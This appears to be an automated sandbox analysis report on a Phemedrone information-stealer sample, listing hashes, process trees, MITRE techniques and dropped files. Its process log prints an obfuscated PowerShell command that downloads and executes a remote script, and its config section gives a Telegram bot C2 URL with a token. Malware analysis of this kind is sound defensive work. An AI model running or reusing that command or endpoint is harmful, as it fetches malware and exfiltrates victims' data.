phemedrone | 86e8265d6b499bae9046d4530e26fe0565f8b58f3b8269064ffe6a908018b354

General

Target

86e8265d6b499bae9046d4530e26fe0565f8b58f3b8269064ffe6a908018b354.exe
Size

14.2MB
MD5

c5d36c7404a03ec6df8024737d97a0c8
SHA1

9a213e487337376c38e0cfdac240dc6ffb5fdc1e
SHA256

86e8265d6b499bae9046d4530e26fe0565f8b58f3b8269064ffe6a908018b354
SHA512

812a21f479c56716d892df32a1f910b41310f74de13641d93654a0a722705fb90e114081f2af2ef8c4717febb05715183c0d6deb36bb135f819553c9a9e49216
SSDEEP

196608:MUehdkSzJ4bvuLE5rUSW9rWWsPbWIBMWRlHbLVb4zH:M94x5r1CrWWsTWIfN8

Score

10^/10

phemedrone execution stealer

Malware Config

Extracted

Family

phemedrone

C2

https://api.telegram.org/bot8091768794:AAFZsJ1h-6BiszgyLm-eH6c-uITQ7Z99Wbc/sendDocument

Signatures

Phemedrone
An information and wallet stealer written in C#.
stealer phemedrone
Phemedrone family
phemedrone
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

7 5076 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Powershell Invoke Web Request.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

5076 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

WDSecureUtilities_333.exe

pid process

3008 WDSecureUtilities_333.exe

flow	pid	process
7	5076	powershell.exe

pid	process
3008	WDSecureUtilities_333.exe

Suspicious behavior: EnumeratesProcesses 52 IoCs

Processes:

powershell.exeWDSecureUtilities_333.exe

pid	process
5076	powershell.exe
5076	powershell.exe
3008	WDSecureUtilities_333.exe
3008	WDSecureUtilities_333.exe
3008	WDSecureUtilities_333.exe
3008	WDSecureUtilities_333.exe
3008	WDSecureUtilities_333.exe
3008	WDSecureUtilities_333.exe
3008	WDSecureUtilities_333.exe
3008	WDSecureUtilities_333.exe
3008	WDSecureUtilities_333.exe
3008	WDSecureUtilities_333.exe
3008	WDSecureUtilities_333.exe
3008	WDSecureUtilities_333.exe
3008	WDSecureUtilities_333.exe
3008	WDSecureUtilities_333.exe
3008	WDSecureUtilities_333.exe
3008	WDSecureUtilities_333.exe
3008	WDSecureUtilities_333.exe
3008	WDSecureUtilities_333.exe
3008	WDSecureUtilities_333.exe
3008	WDSecureUtilities_333.exe
3008	WDSecureUtilities_333.exe
3008	WDSecureUtilities_333.exe
3008	WDSecureUtilities_333.exe
3008	WDSecureUtilities_333.exe
3008	WDSecureUtilities_333.exe
3008	WDSecureUtilities_333.exe
3008	WDSecureUtilities_333.exe
5076	powershell.exe
5076	powershell.exe
5076	powershell.exe
5076	powershell.exe
5076	powershell.exe
5076	powershell.exe
5076	powershell.exe
5076	powershell.exe
5076	powershell.exe
5076	powershell.exe
5076	powershell.exe
5076	powershell.exe
5076	powershell.exe
5076	powershell.exe
5076	powershell.exe
5076	powershell.exe
5076	powershell.exe
5076	powershell.exe
5076	powershell.exe
5076	powershell.exe
5076	powershell.exe
5076	powershell.exe
5076	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWDSecureUtilities_333.exe

description pid process

Token: SeDebugPrivilege 5076 powershell.exe
Token: SeDebugPrivilege 3008 WDSecureUtilities_333.exe

description	pid	process
Token: SeDebugPrivilege	5076	powershell.exe
Token: SeDebugPrivilege	3008	WDSecureUtilities_333.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

86e8265d6b499bae9046d4530e26fe0565f8b58f3b8269064ffe6a908018b354.execmd.execmd.execmd.exepowershell.exe

description	pid	process	target process
PID 720 wrote to memory of 4880	720	86e8265d6b499bae9046d4530e26fe0565f8b58f3b8269064ffe6a908018b354.exe	cmd.exe
PID 720 wrote to memory of 4880	720	86e8265d6b499bae9046d4530e26fe0565f8b58f3b8269064ffe6a908018b354.exe	cmd.exe
PID 4880 wrote to memory of 3308	4880	cmd.exe	cmd.exe
PID 4880 wrote to memory of 3308	4880	cmd.exe	cmd.exe
PID 3308 wrote to memory of 4748	3308	cmd.exe	cmd.exe
PID 3308 wrote to memory of 4748	3308	cmd.exe	cmd.exe
PID 4748 wrote to memory of 5076	4748	cmd.exe	powershell.exe
PID 4748 wrote to memory of 5076	4748	cmd.exe	powershell.exe
PID 5076 wrote to memory of 3008	5076	powershell.exe	WDSecureUtilities_333.exe
PID 5076 wrote to memory of 3008	5076	powershell.exe	WDSecureUtilities_333.exe

C:\Users\Admin\AppData\Local\Temp\86e8265d6b499bae9046d4530e26fe0565f8b58f3b8269064ffe6a908018b354.exe
"C:\Users\Admin\AppData\Local\Temp\86e8265d6b499bae9046d4530e26fe0565f8b58f3b8269064ffe6a908018b354.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:720

C:\Windows\SYSTEM32\cmd.exe
cmd.exe /c "cmd.exe /c start /min cmd /c powershell -NoP -NonI -ExecutionPolicy Bypass -Command "$AI='https://'; $mode='api'; $update='tradingview.com/'; $dev='ermando1'; $beta='.txt'; $charts=$AI+$mode+$update+$dev+$beta; $userAgent='TradingView'; $Response=Invoke-WebRequest -Uri $charts -UseBasicParsing -UserAgent $userAgent; $Script=[System.Text.Encoding]::UTF8.GetString($Response.Content); IEX $Script""
2⤵
- Suspicious use of WriteProcessMemory
PID:4880

C:\Windows\system32\cmd.exe
cmd.exe /c start /min cmd /c powershell -NoP -NonI -ExecutionPolicy Bypass -Command "$AI='https://'; $mode='api'; $update='tradingview.com/'; $dev='ermando1'; $beta='.txt'; $charts=$AI+$mode+$update+$dev+$beta; $userAgent='TradingView'; $Response=Invoke-WebRequest -Uri $charts -UseBasicParsing -UserAgent $userAgent; $Script=[System.Text.Encoding]::UTF8.GetString($Response.Content); IEX $Script"
3⤵
- Suspicious use of WriteProcessMemory
PID:3308

C:\Windows\system32\cmd.exe
cmd /c powershell -NoP -NonI -ExecutionPolicy Bypass -Command "$AI='https://'; $mode='api'; $update='tradingview.com/'; $dev='ermando1'; $beta='.txt'; $charts=$AI+$mode+$update+$dev+$beta; $userAgent='TradingView'; $Response=Invoke-WebRequest -Uri $charts -UseBasicParsing -UserAgent $userAgent; $Script=[System.Text.Encoding]::UTF8.GetString($Response.Content); IEX $Script"
4⤵
- Suspicious use of WriteProcessMemory
PID:4748

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoP -NonI -ExecutionPolicy Bypass -Command "$AI='https://'; $mode='api'; $update='tradingview.com/'; $dev='ermando1'; $beta='.txt'; $charts=$AI+$mode+$update+$dev+$beta; $userAgent='TradingView'; $Response=Invoke-WebRequest -Uri $charts -UseBasicParsing -UserAgent $userAgent; $Script=[System.Text.Encoding]::UTF8.GetString($Response.Content); IEX $Script"
5⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5076

C:\Users\Admin\AppData\Roaming\WDSecureUtilities_333.exe
"C:\Users\Admin\AppData\Roaming\WDSecureUtilities_333.exe" -pkek -aoa -y
6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3008

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cr5ljjvv.ogd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\WDSecureUtilities_333.exe

Filesize
246KB

MD5
bcb323eb0cfd10d58cf134bc7bdc8d67

SHA1
c34a8c428b715b67b696819fc1d172708a23d3f3

SHA256
6d1a5864d641f2da852bfced96a305a41b6464dc12a944883985a4c305a9d8c3

SHA512
bac5411c794a1b473b628c5b261bef5a830a6fed5a797c785ac3f3370def8f91db2368db8ea13d91ece0b89ab6109b64e3ecddcd27d15b2d7cc6f29216a57255

Download Submit
memory/3008-27-0x0000014EC8F70000-0x0000014EC8FB4000-memory.dmp

Filesize
272KB

Download
memory/5076-0-0x00007FFDBF0C3000-0x00007FFDBF0C5000-memory.dmp

Filesize
8KB

Download
memory/5076-1-0x00000226ED500000-0x00000226ED522000-memory.dmp

Filesize
136KB

Download
memory/5076-11-0x00007FFDBF0C0000-0x00007FFDBFB81000-memory.dmp

Filesize
10.8MB

Download
memory/5076-12-0x00007FFDBF0C0000-0x00007FFDBFB81000-memory.dmp

Filesize
10.8MB

Download
memory/5076-13-0x00007FFDBF0C0000-0x00007FFDBFB81000-memory.dmp

Filesize
10.8MB

Download
memory/5076-14-0x00007FFDBF0C0000-0x00007FFDBFB81000-memory.dmp

Filesize
10.8MB

Download
memory/5076-28-0x00007FFDBF0C0000-0x00007FFDBFB81000-memory.dmp

Filesize
10.8MB

Download
memory/5076-29-0x00007FFDBF0C3000-0x00007FFDBF0C5000-memory.dmp

Filesize
8KB

Download
memory/5076-32-0x00007FFDBF0C0000-0x00007FFDBFB81000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing